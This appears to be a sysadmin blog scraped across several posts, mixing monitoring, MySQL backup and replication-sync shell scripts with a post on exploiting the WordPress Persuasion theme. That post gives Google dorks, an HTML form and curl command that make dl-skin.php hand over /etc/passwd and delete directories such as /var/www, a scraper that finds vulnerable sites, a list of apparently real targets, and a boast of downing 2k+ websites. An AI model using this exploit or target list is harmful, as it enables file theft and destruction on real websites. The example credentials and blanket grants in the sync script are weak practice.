cat /root/http-status-code-project/TABLE_STRUCTURE.log >> /root/clam-scan-project/clam-scan-result.log
else
echo “<br>” >> /root/clam-scan-project/clam-scan-result.log
echo “<b>HTTP Status Code Check for below HTTP Codes:</b>” >> /root/clam-scan-project/clam-scan-result.log
echo “<ul>” >> /root/clam-scan-project/clam-scan-result.log
echo “<li>HTTP 500: Internal Error</li>” >> /root/clam-scan-project/clam-scan-result.log
echo “<li>HTTP 503: Gateway timeout</li>” >> /root/clam-scan-project/clam-scan-result.log
echo “<li>HTTP 502: Service temporarily overloaded</li>” >> /root/clam-scan-project/clam-scan-result.log
echo “<li>HTTP 408: Request Timeout</li>” >> /root/clam-scan-project/clam-scan-result.log
echo “<li>HTTP 407: Proxy Authentication Required</li>” >> /root/clam-scan-project/clam-scan-result.log
echo “</ul>” >> /root/clam-scan-project/clam-scan-result.log
echo “<center><FONT COLOR=”GREEN”>No downtime for domains on $HOSTNAME during scan</FONT></center>” >> /root/clam-scan-project/clam-scan-result.log
fi
(echo -e “From: clam-scan@exa.com.au \nTo: abc@gmail.com \nMIME-Version: 1.0 \nSubject: Clam-Scan on $HOSTNAME \nContent-Type: text/html \n”; cat /root/clam-scan-project/clam-scan-result.log) | sendmail -t
rm -f /root/clam-scan-project/default-db-summary.log
rm -f /root/clam-scan-project/custom-db-summary.log
rm -f /root/clam-scan-project/clam-scan-result.log
rm -f /root/clam-scan-project/summary.log
#mv -f /root/clam-scan-project/add-domains.txt /root/
rm -rf $DIR/*.log
rm -rf $DIR/*.txt

##Main.sh ENDs##

##Child Script, status.sh

DIR=/root/clam-scan-project/http-status-code/
FILE=url.txt
z=`pgrep -f “add-signatures.sh” | grep -v grep`
OUT=`echo $?`

while [ “$OUT” != 1 ];
do

for URLs in $(cat /etc/trueuserdomains | cut -d “:” -f1)
do

HTTP_CODE=`curl -s -o /dev/null -w “%{http_code}” “$URLs”`

if [ “$HTTP_CODE” -ne 200 ];
then
echo “www.$URLs” >> $DIR$FILE
if [ -f “$DIR$URLs.txt” ];
then
FOUND=`grep $HTTP_CODE $DIR$URLs.txt`

if [ -z “$FOUND” ];
then
echo “HTTP-$HTTP_CODE:0” >> $DIR$URLs.txt
else
COUNT=`cat $DIR$URLs.txt | grep HTTP-$HTTP_CODE | cut -d “:” -f2`
NEWCOUNT=`expr $COUNT + 1`
sed -i “s/HTTP-$HTTP_CODE.*/HTTP-$HTTP_CODE:$NEWCOUNT/g” $DIR$URLs.txt
fi
else
echo “$URLs” >> $DIR$URLs.txt
echo “HTTP-$HTTP_CODE:0” >> $DIR$URLs.txt
fi

fi
done

z=`pgrep -f “add-signatures.sh” | grep -v grep`
OUT=`echo $?`

done

##Ends##

##Create Report##

DIR=/root/clam-scan-project/http-status-code/
FILE=url.txt
RESULT=/root/clam-scan-project/http-status-code/TABLE_STRUCTURE.log
RESULT1=/root/clam-scan-project/http-status-code/HTTP_CODES.log
echo “<center>” >> $RESULT
echo “<TABLE BORDER=4 ALIGN=center CELLPADDING=10 CELLSPACING=2>” >> $RESULT
echo “<TR>” >> $RESULT
echo “<TH WIDTH=”5%”>Domain Name</TH>” >> $RESULT
echo “<TH WIDTH=”5%”>HTTP Status Code</TH>” >> $RESULT
echo “<TH WIDTH=”5%”>Headers</TH>” >> $RESULT
echo “</TR>” >> $RESULT

for DOMAINS in $(cat $DIR$FILE | sed ‘s/^[^\.]\+\.//’)
do
HTTP_STATUS_CODE=`grep HTTP-* $DIR$DOMAINS.txt | sed ‘/^$/d’`
SHORT_CODE=`echo $HTTP_STATUS_CODE | awk -F”[-:]” ‘{ print $2}’`

if [ “$SHORT_CODE” == 503 ] || [ “$SHORT_CODE” == 502 ] || [ “$SHORT_CODE” == 408 ] || [ “$SHORT_CODE” == 500 ] || [ “$SHORT_CODE” == 407 ];
then
HEADERS=`curl -sI “www.$DOMAINS”`

echo “<TR>” >> $RESULT1
echo “<TD ALIGN=”center”><PRE>$DOMAINS</PRE></TD>” >> $RESULT1
echo “<TD ALIGN=”center”><PRE>$HTTP_STATUS_CODE</PRE></TD>” >> $RESULT1
echo “<TD ALIGN=”center”><PRE>$HEADERS</PRE></TD>” >> $RESULT1
echo “</TR>” >> $RESULT1
fi
done

if [ -f “$RESULT1” ];
then
cat $RESULT1 | col -b >> $RESULT
fi

echo “</center>” >> $RESULT
echo “</TABLE>” >> $RESULT

##Ends##

Cheers!!!

I don’t know why developers around the globe are so much into copy and pasting it before actually checking out things manually?

This is just a standard example where Security Admins/System Admins will be screwed big time.

Tip for Security Admins:

  • Have proper checks and URL Sanitization, any requests to OS files or file that can bring your server down, block that IP.
  • Analyze logs, have automated script to parse logs for malicious request, IP’s.
  • keep yourself updated with latest hacks and vulnerabilities
  • have IDS for any new application installed and check for any vulnerabilities associated with it.

Enough of consultancy!!!

How to exploit?

1. Google Dork,

index:wp-content/themes/persuasion/lib/scripts/dl-skin.php

OR

inurl:wp-content/themes/persuasion/lib/scripts/

1

2. A test domain hosted on a server, mine was testing.com (NOT LIVE), behind TOR 😉

Add below exploit under public_html, say test.html

<html>
<body>
<form action=”http://vulnerable-site.com/wp-content/themes/persuasion/lib/scripts/dl-skin.php&#8221; method=”post”>
Existing file’s name:<input type=”text” name=”_mysite_download_skin” value=”/etc/passwd”><br>
Directory to be removed:<input type=”text” name=”_mysite_delete_skin_zip” value=”/var/www”><font color=red>Use with caution it will delete the files and directories if it is writeable</font><br>
<input type=”submit”  name=press value=”OK”>
</form>
</body>
</html>

 

2

3. you’ll find /etc/passwd downloaded, check /home/ and just delete it by specifying the path in above test box.

3 4

4. Imagine it’s coded and automated,

you can have something like, create a function say, google and search as shown below,

Command:

function google { Q=”$@”; GOOG_URL=’https://www.google.de/search?tbs=li:1&q=&#8217;; AGENT=”Mozilla/4.0″; stream=$(curl -A “$AGENT” -skLm 10 “${GOOG_URL}${Q//\ /+}” | grep -oP ‘\/url\?q=.+?&amp’ | sed ‘s|/url?q=||; s|&amp||’); echo -e “${stream//\%/\x}”; }

Sample Output:

[root@BT]# google inurl:wp-content/themes/persuasion/lib/scripts/ | sed ‘s/scripts.*$/scripts/’ | uniq
http://burlingtonventures.com/wp-content/themes/persuasion/lib/scripts
http://finseafood.com/wp-content/themes/persuasion/lib/scripts
http://www.bydelight.com/wp-content/themes/persuasion/lib/scripts
http://laforceteamwork.com/wp-content/themes/persuasion/lib/scripts
http://www.kismetdallas.com/wp-content/themes/persuasion/lib/scripts
[root@BT]#

Then you can have curl to check the HTTP status code of above searches,

URL=`google inurl:wp-content/themes/persuasion/lib/scripts/ | sed ‘s/scripts.*$/scripts/’`

for STATUS in $URL
do
HTTP_STATUS_CODE=`curl -s -o /dev/null -I -w “%{http_code}” http://www.bydelight.com/wp-content/themes/persuasion/lib/scripts/dl-skin.php`

if [ “$HTTP_STATUS_CODE” == 200 ];

then

curl command to post data

else

echo “message”

fi

done

curl command used with  formfind can be used to web forms or below command,

[root@BT]# curl –data “_mysite_download_skin=%2Fetc%2Fpasswd&_mysite_delete_skin_zip=%2Fvar%2Fwww&press=%20OK%20” –dump-header headers http://www.testing.com/test.html

If unaware about Curl, you can use FireCurl to get the response of curl command

In no time, you’ll end up bringing down 2k+ websites.

Vulnerable Script: 

Cheers!!!!

Incremental Backup using Innobackup

This is not new, their are many scripts available in Google but they lack many things while taking Incremental backups using Innobackup. at-least I couldn’t find one. :).

If you guys have then yes have reinvented the wheel 😉

what’s missing?

  1. Do not apply logs
  2. LSN checks
  3. not enough conditions to check

Please go through this link to read about Incremental backups using Innobackup. I won’t be going to much detail.

http://www.percona.com/doc/percona-xtrabackup/2.1/innobackupex/incremental_backups_innobackupex.html

http://www.percona.com/doc/percona-xtrabackup/2.1/howtos/recipes_ibkx_inc.html

http://www.percona.com/doc/percona-xtrabackup/2.1/xtrabackup_bin/incremental_backups.html?id=percona-xtrabackup:xtrabackup:incremental

Script from Percona: https://gist.github.com/jmfederico/1495347

The reason I wrote this script because no one wants to untar the backup, apply logs and then restore during any disaster.

What my script does?

Have divided into following modules
 
1. Prerequisite
  • Check for directory structure, create if doesn’t exists.
  • check whether mysql is running or not, if not then exit.
2. Full Backup
  • Check whether Full backup done, if not then create
  • check for the result, If fail then exit
  • Apply logs
  • check for the result, if fail then exit.
  • output Xtrabackup Checkpoints
3. Incremental Backup
  • Check whether Incremental 1 to be backed-up or Incremental 2
  • Proceed accordingly
  • check for the result, fail then exit
4. LSN checks

  • Before Applying logs, it LSN will check the checkpoints with previous backups
  • If not matched then email with the checkpoints
  • If matched then Apply logs
5. Apply logs

  • Applying logs will proceed after the backup is successfully created, LSN numbers are matching
  • If apply logs fail then exit 
6. creating tar

  • After all the checks and applying logs, will have full-backup ready
  • create a tar file
  • remove the folders
7. Delete old backups (AGE = 6, 6 days backup will be retain)
8. LSN summary report

Note: both the scripts should reside under /root/

Main Script:

#!/bin/sh
rm -f /tmp/innobackupex-runner*
rm -f /root/lsn.log /root/inno.log
TMPFILE=”/tmp/innobackupex-runner.$$.tmp”
BASEBACKDIR=/Backup/Full
INCRBACKDIR=/Backup/Incremental
START=`date +%s`
INNOBACKUPEX=/usr/bin/innobackupex
AGE=6
FILE=/Backup/verdict.txt

##Check base dir exists and create if it doesn’t

if [ ! -d “$BASEBACKDIR” ];
then
echo “<h3>$BASEBACKDIR doesn’t exists, creating it</h3>” >> /root/inno.log
mkdir –parents $BASEBACKDIR
fi

##check Incremental dir exists and create if it doesn’t

if [ ! -d “$INCRBACKDIR” ];
then
echo “<h3>$INCRBACKDIR doesn’t exists, creating it</h3>” >> /root/inno.log
mkdir $INCRBACKDIR
fi

if [ ! -f $FILE ];
then
touch $FILE
fi

##Check if Mysql is running

if [ -z “`mysqladmin status | grep ‘Uptime’`” ]
then
echo “<h3>HALTED: MySQL does not appear to be running.</h3>”; echo “<br>” >> /root/inno.log
(echo -e “From: Innobackup-Backup@exateam.com \nTo: abc@gmail.com \nMIME-Version: 1.0 \nSubject: Xtradb backup check report for CRM DB on $HOSTNAME \nContent-Type: text/html \n”; cat /root/inno.log) | /usr/sbin/sendmail -t
rm -f /root/inno.log
exit 1
fi

##Find latest backup directory and if doesn’t exists then create a NEW FULL BACKUP

LATEST=`find $BASEBACKDIR -mindepth 1 -maxdepth 1 -type d -printf “%P\n” | sort -nr | head -1`

if [ -z “$LATEST” ];
then
echo “<h3>Creating New Full Backup</h3>” >> /root/inno.log
$INNOBACKUPEX $BASEBACKDIR > $TMPFILE 2>&1

if [ -z “`tail -1 $TMPFILE | grep ‘completed OK!’`” ] ; then
echo “<h3>$INNOBACKUPEX failed:</h3>” >> /root/inno.log
echo “<br>” >> /root/inno.log
echo “<PRE>———- ERROR OUTPUT from $INNOBACKUPEX ———-</PRE>” >> /root/inno.log
rm -f $TMPFILE
(echo -e “From: Innobackup-Backup@exateam.com \nTo: abc@gmail.com \nMIME-Version: 1.0 \nSubject: Xtradb backup check report for CRM DB \nContent-Type: text/html \n”; cat /root/inno.log) | /usr/sbin/sendmail -t
rm -f /root/inno.log
exit 1
fi

THISBACKUP=`cat $TMPFILE | grep ‘Backup created in directory’ | awk ‘{ print $6 }’ | sed “s/’//g”`
rm -f $TMPFILE
echo “Databases backed up successfully to: $THISBACKUP” >> /root/inno.log
echo “<br> ” >> /root/inno.log
echo “Xtrabackup Checkpoints” >> /root/inno.log
echo “<br> ” >> /root/inno.log
echo “<PRE>`cat $THISBACKUP/xtrabackup_checkpoints`</PRE>” >> /root/inno.log
echo “<br> ” >> /root/inno.log
echo “Now applying logs to the backuped databases” >> /root/inno.log
$INNOBACKUPEX –apply-log –redo-only $THISBACKUP > $TMPFILE 2>&1

if [ -z “`tail -1 $TMPFILE | grep ‘completed OK!’`” ] ; then
echo “<h3>$INNOBACKUPEX failed:</h3>” >> /root/inno.log
echo “<br>” >> /root/inno.log
echo “<b>Applied Logs Failed</b>” >> /root/inno.log
echo “<br>” >> /root/inno.log
echo “<PRE>———- ERROR OUTPUT from $INNOBACKUPEX ———-</PRE>” >> /root/inno.log
(echo -e “From: Innobackup-Backup@exateam.com \nTo: abc@gmail.com \nMIME-Version: 1.0 \nSubject: Xtradb backup check report for CRM DB \nContent-Type: text/html \n”; cat /root/inno.log) | /usr/sbin/sendmail -t
echo “1” >> $FILE
rm -f /root/inno.log
rm -f $TMPFILE
exit 1
fi

echo “Logs applied to backuped databases successfully” >> /root/inno.log
(echo -e “From: Innobackup-Backup@exateam.com \nTo: abc@gmail.com \nMIME-Version: 1.0 \nSubject: Xtradb backup check report for CRM DB \nContent-Type: text/html \n”; cat /root/inno.log) | /usr/sbin/sendmail -t
echo “Full Backup: Done” >> $FILE
rm -f /root/inno.log
exit 1

fi

##Incremental Backups

LATESTINCR=`find $INCRBACKDIR -mindepth 1 -maxdepth 1 -type d | sort -nr | head -1`

if [ ! $LATESTINCR ]
then
echo “<h3>First Incremental Backup</h3>” >> /root/inno.log
BCKTYPE=INCR1
INCRBASEDIR=$BASEBACKDIR/$LATEST
INCRDIR=$INCRBACKDIR/Incr1
OPTIONS=”–apply-log –redo-only”
else
echo “<h3>Second Incremental Backup</h3>” >> /root/inno.log
BCKTYPE=INCR2
INCRBASEDIR=$LATESTINCR
INCRDIR=$INCRBACKDIR/Incr2
OPTIONS=”–apply-log”
fi

$INNOBACKUPEX –no-timestamp –incremental $INCRDIR –incremental-basedir=$INCRBASEDIR > $TMPFILE 2>&1

if [ -z “`tail -1 $TMPFILE | grep ‘completed OK!’`” ] ; then
echo “<b>$INNOBACKUPEX failed:</b>” >> /root/inno.log
echo “<br>” >> /root/inno.log
echo “<PRE>———- ERROR OUTPUT from $INNOBACKUPEX ———-</PRE>” >> /root/inno.log
(echo -e “From: Innobackup-Backup@exateam.com \nTo: abc@gmail.com \nMIME-Version: 1.0 \nSubject: Xtradb backup check report for CRM DB \nContent-Type: text/html \n”; cat /root/inno.log) | /usr/sbin/sendmail -t
rm -f /root/inno.log
rm -f $TMPFILE
exit 1
fi

THISBACKUP=`cat $TMPFILE | grep ‘Backup created in directory’ | awk ‘{ print $6 }’ | sed “s/’//g”`
rm -f $TMPFILE
echo “Databases backed up successfully to: $THISBACKUP” >> /root/inno.log
echo “<br>” >> /root/inno.log
echo “Xtrabackup Chckpoints Summary” >> /root/inno.log
echo “<br>” >> /root/inno.log
echo “<PRE>`cat $INCRDIR/xtrabackup_checkpoints`</PRE>” >> /root/inno.log
echo “<br>” >> /root/inno.log

##LSN checks before applying logs

fullpath=$(find $BASEBACKDIR -mindepth 1 -maxdepth 1 -type d | sort -nr | head -1)
echo “<b>Log Sequence Number Checking:</b>” >> /root/inno.log
echo “<br>” >> /root/inno.log

if [ “$BCKTYPE” = INCR1 ];
then
full_to_lsn=`cat $fullpath/xtrabackup_checkpoints | grep -i “to_lsn” | awk ‘{print $3}’`
incr1_from_lsn=`cat $THISBACKUP/xtrabackup_checkpoints | grep -i “from_lsn” | awk ‘{print $3}’`

if [ “$full_to_lsn” -ne “$incr1_from_lsn” ];
then
echo “Can’t Apply Logs, LSN not matching with Incremental Backup1” >> /root/inno.log
echo “<br>” >> /root/inno.log
echo “<b>Xtrabackup Checkpoints for Full Backup</b>” >> /root/inno.log
echo “<br>” >> /root/inno.log
echo “<PRE>`cat $fullpath/xtrabackup_checkpoints`</PRE>” >> /root/inno.log
echo “<br>” >> /root/inno.log
echo “<b>Xtrabackup Checkpoints for Incremental Backup 1</b>” >> /root/inno.log
echo “<br>” >> /root/inno.log
echo “<PRE>`cat $INCRDIR/xtrabackup_checkpoints`</PRE>” >> /root/inno.log
(echo -e “From: Innobackup-Backup@exateam.com \nTo: abc@gmail.com \nMIME-Version: 1.0 \nSubject: Xtradb backup check report for CRM DB \nContent-Type: text/html \n”; cat /root/inno.log) | /usr/sbin/sendmail -t
rm -f /root/inno.log
rm -f $TMPFILE
exit 1
fi
else
incr1_to_lsn=`cat $LATESTINCR/xtrabackup_checkpoints | grep -i “to_lsn” | awk ‘{print $3}’`
incr2_from_lsn=`cat $THISBACKUP/xtrabackup_checkpoints | grep -i “from_lsn” | awk ‘{print $3}’`

if [ “$incr1_to_lsn” -ne “$incr2_from_lsn” ];
then
echo “Can’t Apply Logs, LSN not matching with Incremental Backup2” >> /root/inno.log
echo “<br>” >> /root/inno.log
echo “<b>Xtrabackup Checkpoints for Incremental Backup 1</b>” >> /root/inno.log
echo “<br>” >> /root/inno.log
echo “<PRE>`cat $THISBACKUP/xtrabackup_checkpoints`</PRE>” >> /root/inno.log
echo “<br>” >> /root/inno.log
echo “<b>Xtrabackup Checkpoints for Incremental Backup 2</b>” >> /root/inno.log
echo “<br>” >> /root/inno.log
echo “<PRE>`cat $INCRDIR/xtrabackup_checkpoints`</PRE>” >> /root/inno.log
(echo -e “From: Innobackup-Backup@exateam.com \nTo: abc@gmail.com \nMIME-Version: 1.0 \nSubject: Xtradb backup check report for CRM DB \nContent-Type: text/html \n”; cat /root/inno.log) | /usr/sbin/sendmail -t
rm -f /root/inno.log
rm -f $TMPFILE
exit 1
fi
fi

echo “Log Sequence Number Matches with previous backup” >> /root/inno.log
echo “<br>” >> /root/inno.log
echo “Now applying logs to the backuped databases of $INCRDIR” >> /root/inno.log
echo “<br>” >> /root/inno.log
$INNOBACKUPEX $OPTIONS $BASEBACKDIR/$LATEST –incremental-dir=$INCRDIR > $TMPFILE 2>&1

if [ -z “`tail -1 $TMPFILE | grep ‘completed OK!’`” ] ; then
echo “$INNOBACKUPEX failed:” >> /root/inno.log
echo “<br>” >> /root/inno.log
echo “———- ERROR OUTPUT from $INNOBACKUPEX ———-” >> /root/inno.log
(echo -e “From: Innobackup-Backup@exateam.com \nTo: abc@gmail.com \nMIME-Version: 1.0 \nSubject: Xtradb backup check report for CRM DB \nContent-Type: text/html \n”; cat /root/inno.log) | /usr/sbin/sendmail -t
echo “1” >> $FILE
rm -f /root/inno.log
rm -f $TMPFILE
exit 1
fi

echo “Logs applied to backuped databases successfully” >> /root/inno.log
echo “$BCKTYPE: Done” >> $FILE

##Creating TAR

COUNT=$(grep -i ‘done’ $FILE | wc -l)

if [ “$COUNT” = 3 ];
then
LATEST=`find $BASEBACKDIR -mindepth 1 -maxdepth 1 -type d | sort -nr | head -1`
echo “<br>” >> /root/inno.log
echo “Compressing Full backup files” >> /root/inno.log
tar -czvf /Backup/backup_Mysql_CRMDB_`date +%d-%m-%Y-%H`.tar.gz $LATEST
echo “<br>” >> /root/inno.log
echo “completed: `date`” >> /root/inno.log
echo “<br>” >> /root/inno.log
echo “<h4><i>Checkpoints Summary</i></h4>” >> /root/inno.log
sh /root/lsn.sh
cat /root/lsn.log >> /root/inno.log
rm -rf $BASEBACKDIR/* $INCRBACKDIR/* $FILE

fi

 ##Clean-up

echo “<br>” >> /root/inno.log

echo “Cleaning up old backups (older than $AGE days) and temporary files” >> /root/inno.log
rm -rf $TMPFILE
cd /tmp ; find /Backup -maxdepth 1 -ctime +$AGE -exec echo “removing: “{} \; -exec rm -rf {} \;
(echo -e “From: Innobackup-Backup@exateam.com \nTo: abc@gmail.com \nMIME-Version: 1.0 \nSubject: Xtradb backup check report for CRM DB \nContent-Type: text/html \n”; cat /root/inno.log) | /usr/sbin/sendmail -t
rm -f /root/inno.log

##Main Script Ends here##

LSN output script:

echo “<center>” >> /root/lsn.log
echo “<h3><i>Innobackup/Xtrabackup Backup Report</i></h3>” >> /root/lsn.log
echo “</center>” >> /root/lsn.log
echo “<HR ALIGN=”CENTER” SIZE=”3″ WIDTH=”70%” NOSHADE>” >> /root/lsn.log
echo “<TABLE BORDER=4 ALIGN=center CELLPADDING=10 CELLSPACING=2>” >> /root/lsn.log
echo “<TR>” >> /root/lsn.log
echo “<TH WIDTH=”5%”>Backup Type</TH>” >> /root/lsn.log
echo “<TH WIDTH=”5%”>From LSN</TH>” >> /root/lsn.log
echo “<TH WIDTH=”5%”>To LSN</TH>” >> /root/lsn.log
echo “<TH WIDTH=”5%”>Last LSN</TH>” >> /root/lsn.log
echo “</TR>” >> /root/lsn.log

full=`find /Backup/Full -mindepth 1 -maxdepth 1 -type d | sort -nr | head -1`

full_backup_type=$(cat $full/xtrabackup_checkpoints | grep -i “backup_type” | awk ‘{print $3}’)
full_from_lsn=$(cat $full/xtrabackup_checkpoints | grep -i “from_lsn” | awk ‘{print $3}’)
full_to_lsn=$(cat $full/xtrabackup_checkpoints | grep -i “to_lsn” | awk ‘{print $3}’)
full_last_lsn=$(cat $full/xtrabackup_checkpoints | grep -i “last_lsn” | awk ‘{print $3}’)

incr1_backup_type=$(cat /Backup/Incremental/Incr1/xtrabackup_checkpoints | grep -i “backup_type” | awk ‘{print $3}’)
incr1_from_lsn=$(cat /Backup/Incremental/Incr1/xtrabackup_checkpoints | grep -i “from_lsn” | awk ‘{print $3}’)
incr1_to_lsn=$(cat /Backup/Incremental/Incr1/xtrabackup_checkpoints | grep -i “to_lsn” | awk ‘{print $3}’)
incr1_last_lsn=$(cat /Backup/Incremental/Incr1/xtrabackup_checkpoints | grep -i “last_lsn” | awk ‘{print $3}’)

incr2_backup_type=$(cat /Backup/Incremental/Incr2/xtrabackup_checkpoints | grep -i “backup_type” | awk ‘{print $3}’)
incr2_from_lsn=$(cat /Backup/Incremental/Incr2/xtrabackup_checkpoints | grep -i “from_lsn” | awk ‘{print $3}’)
incr2_to_lsn=$(cat /Backup/Incremental/Incr2/xtrabackup_checkpoints | grep -i “to_lsn” | awk ‘{print $3}’)
incr2_last_lsn=$(cat /Backup/Incremental/Incr2/xtrabackup_checkpoints | grep -i “last_lsn” | awk ‘{print $3}’)

if [[ “$full_to_lsn” -ne “$incr1_from_lsn” && “$incr1_to_lsn” -ne “$incr2_from_lsn” ]];
then
echo “<TR>” >> /root/lsn.log
echo “<TD ALIGN=”center”><FONT COLOR=GREEN><PRE><b>$full_backup_type</b></PRE></FONT></TD>” >> /root/lsn.log
echo “<TD ALIGN=”center”><FONT COLOR=GREEN><PRE>$full_from_lsn</PRE></FONT></TD>” >> /root/lsn.log
echo “<TD ALIGN=”center”><FONT COLOR=RED><PRE>$full_to_lsn</PRE></FONT></TD>” >> /root/lsn.log
echo “<TD ALIGN=”center”><FONT COLOR=GREEN><PRE>$full_last_lsn</PRE></FONT></TD>” >> /root/lsn.log
echo “</TR>” >> /root/lsn.log
echo “<TR>” >> /root/lsn.log
echo “<TD ALIGN=”center”><FONT COLOR=GREEN><PRE><b>$incr1_backup_type</b></PRE></FONT></TD>” >> /root/lsn.log
echo “<TD ALIGN=”center”><FONT COLOR=RED><PRE>$incr1_from_lsn</PRE></FONT></TD>” >> /root/lsn.log
echo “<TD ALIGN=”center”><FONT COLOR=RED><PRE>$incr1_to_lsn</PRE></FONT></TD>” >> /root/lsn.log
echo “<TD ALIGN=”center”><FONT COLOR=GREEN><PRE>$incr1_last_lsn</PRE></FONT></TD>” >> /root/lsn.log
echo “</TR>” >> /root/lsn.log
echo “<TR>” >> /root/lsn.log
echo “<TD ALIGN=”center”><FONT COLOR=GREEN><PRE><b>$incr2_backup_type</b></PRE></FONT></TD>” >> /root/lsn.log
echo “<TD ALIGN=”center”><FONT COLOR=RED><PRE>$incr2_from_lsn</PRE></FONT></TD>” >> /root/lsn.log
echo “<TD ALIGN=”center”><FONT COLOR=GREEN><PRE>$incr2_to_lsn</PRE></FONT></TD>” >> /root/lsn.log
echo “<TD ALIGN=”center”><FONT COLOR=GREEN><PRE>$incr2_last_lsn</PRE></FONT></TD>” >> /root/lsn.log
echo “</TR>” >> /root/lsn.log
else
echo “<TR>” >> /root/lsn.log
echo “<TD ALIGN=”center”><FONT COLOR=GREEN><PRE><b>$full_backup_type</b></PRE></FONT></TD>” >> /root/lsn.log
echo “<TD ALIGN=”center”><FONT COLOR=GREEN><PRE>$full_from_lsn</PRE></FONT></TD>” >> /root/lsn.log
echo “<TD ALIGN=”center”><FONT COLOR=GREEN><PRE>$full_to_lsn</PRE></FONT></TD>” >> /root/lsn.log
echo “<TD ALIGN=”center”><FONT COLOR=GREEN><PRE>$full_last_lsn</PRE></FONT></TD>” >> /root/lsn.log
echo “</TR>” >> /root/lsn.log
echo “<TR>” >> /root/lsn.log
echo “<TD ALIGN=”center”><FONT COLOR=GREEN><PRE><b>$incr1_backup_type</b></PRE></FONT></TD>” >> /root/lsn.log
echo “<TD ALIGN=”center”><FONT COLOR=GREEN><PRE>$incr1_from_lsn</PRE></FONT></TD>” >> /root/lsn.log
echo “<TD ALIGN=”center”><FONT COLOR=GREEN><PRE>$incr1_to_lsn</PRE></FONT></TD>” >> /root/lsn.log
echo “<TD ALIGN=”center”><FONT COLOR=GREEN><PRE>$incr1_last_lsn</PRE></FONT></TD>” >> /root/lsn.log
echo “</TR>” >> /root/lsn.log
echo “<TR>” >> /root/lsn.log
echo “<TD ALIGN=”center”><FONT COLOR=GREEN><PRE><b>$incr2_backup_type</b></PRE></FONT></TD>” >> /root/lsn.log
echo “<TD ALIGN=”center”><FONT COLOR=GREEN><PRE>$incr2_from_lsn</PRE></FONT></TD>” >> /root/lsn.log
echo “<TD ALIGN=”center”><FONT COLOR=GREEN><PRE>$incr2_to_lsn</PRE></FONT></TD>” >> /root/lsn.log
echo “<TD ALIGN=”center”><FONT COLOR=GREEN><PRE>$incr2_last_lsn</PRE></FONT></TD>” >> /root/lsn.log
echo “</TR>” >> /root/lsn.log

fi

It’s been a while since last post, I’ve been busy and so had been away from blogging.

from past 2 months, I was working extensively with Percona Mysql and since many applications of ours are into replication environment, I had to come up with scripts considering the manual

work and time team members were putting in this.

Their were mainly two issues I was concerned about,

  • considerable time chewing up for syncing tables and to figure out the differences.
  • also a manual eye on the screen to check.

considering this, came up with simple script.

Prerequisite :

wget http://www.maatkit.org/get/mk-table-sync

wget http://www.maatkit.org/get/mk-table-checksum

Privileges:

before that create another username with password to use for syncing tables to slaves from master.

Example: User: maatkit, Password: mat007

Server A : Master

Server B: Slave1

Server C: Slave2

On both the slaves: grant all privileges to master with username maatkit as shown below,

mysql> grant all privileges on *.* TO ‘maatkit’@’master-ip’ IDENTIFIED BY ‘mat007’;

mysql> FLUSH privileges;

I have not use mk-table-checksum since I really don’t believe in checking checksum for discrepancies. had been many occurrences where  records and size are same but still checksum value is different.

In this script, I am just considering number of records though script can be modified as per requirement and also let me know, will make the modification.

Sample output of  the script given below,

1

2

Script: single DB, 2 slaves.

DB=test_db
TBL=`mysql -e “SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = ‘$DB’;” | grep -v table_name`
USERNAME=maatkit
PASSWORD=mat007
SLAVE1=10.1.1.3
SLAVE2=10.1.1.4
THRESHCOUNT=2
SYNCMD=/root/./mk-table-sync
SLAVES=( 10.1.1.3 10.1.1.4 )
RESULT=/root/report.log
echo “<b>Fetching the Records before the sync…</b>” >> $RESULT
echo “<center>” >> $RESULT
echo “<h4><i>Discrepancies in Number of records</i></h3>” >> $RESULT
echo “<HR ALIGN=”CENTER” SIZE=”3″ WIDTH=”70%” NOSHADE>” >> $RESULT
echo “<TABLE BORDER=4 ALIGN=center CELLPADDING=10 CELLSPACING=2>” >> $RESULT
echo “<caption><b>DB Name: $DB</b></caption>” >> $RESULT
echo “<TR>” >> $RESULT
echo “<TH WIDTH=”5%”>Table</TH>” >> $RESULT
echo “<TH WIDTH=”5%”>Master</TH>” >> $RESULT
echo “<TH WIDTH=”5%”>Primary Slave: $SLAVE1</TH>” >> $RESULT
echo “<TH WIDTH=”5%”>Secondary Slave: $SLAVE2</TH>” >> $RESULT
echo “</TR>” >> $RESULT

for TABLE in $TBL;
do
MASTERREC=`mysql -e “select count(*) from $DB.$TABLE;” | awk ‘FNR == 2 {print}’`
SLAVEREC1=`mysql -h$SLAVE1 -u$USERNAME -p$PASSWORD -e “select count(*) from $DB.$TABLE;” | awk ‘FNR == 2 {print}’`
SLAVEREC2=`mysql -h$SLAVE2 -u$USERNAME -p$PASSWORD -e “select count(*) from $DB.$TABLE;” | awk ‘FNR == 2 {print}’`

THRESH1=`expr $MASTERREC – $SLAVEREC1`
THRESH2=`expr $MASTERREC – $SLAVEREC2`

if [[ “$THRESH1” -gt “$THRESHCOUNT” || “$THRESH2” -gt “$THRESHCOUNT” ]];
then
DIFFTABLE+=( $TABLE )
echo “<TR>” >> $RESULT
echo “<TD ALIGN=”center”><PRE>$TABLE</PRE></TD>” >> $RESULT
echo “<TD ALIGN=”center”><PRE>$MASTERREC</PRE></TD>” >> $RESULT
echo “<TD ALIGN=”center”><PRE>$SLAVEREC1</PRE></TD>” >> $RESULT
echo “<TD ALIGN=”center”><PRE>$SLAVEREC2</PRE></TD>” >> $RESULT
echo “</TR>” >> $RESULT
fi
done
echo “</TABLE>” >> $RESULT
echo “</center>” >> $RESULT

for SLAVE in “${SLAVES[@]}”
do
echo “<br>” >> $RESULT
echo “<center><b><FONT COLOR=RED>Slave: $SLAVE</FONT></b></center>” >> $RESULT
echo “<br>” >> $RESULT

for DIFF in “${DIFFTABLE[@]}”
do
echo “<i>Syncing records on Master to Slave, $SLAVE</i>” >> $RESULT
echo “<PRE>`$SYNCMD u=$USERNAME,p=$PASSWORD,h=localhost,D=$DB,t=$DIFF $SLAVE –execute –verbose`</PRE>” >> $RESULT
echo “<br>” >> $RESULT
echo “<i>Sync completed, After sync ..</i>” >> $RESULT
AFTSYNMASTER=`mysql -e “select count(*) from $DB.$DIFF;” | awk ‘FNR == 2 {print}’`
AFTSYNSLAVE2=`mysql -h$SLAVE -u$USERNAME -p$PASSWORD -e “select count(*) from $DB.$DIFF;” | awk ‘FNR == 2 {print}’`

THRESHHOLD=`expr $AFTSYNMASTER – $AFTSYNSLAVE2`

if [ “$THRESHHOLD” -gt “$THRESHCOUNT” ];
then
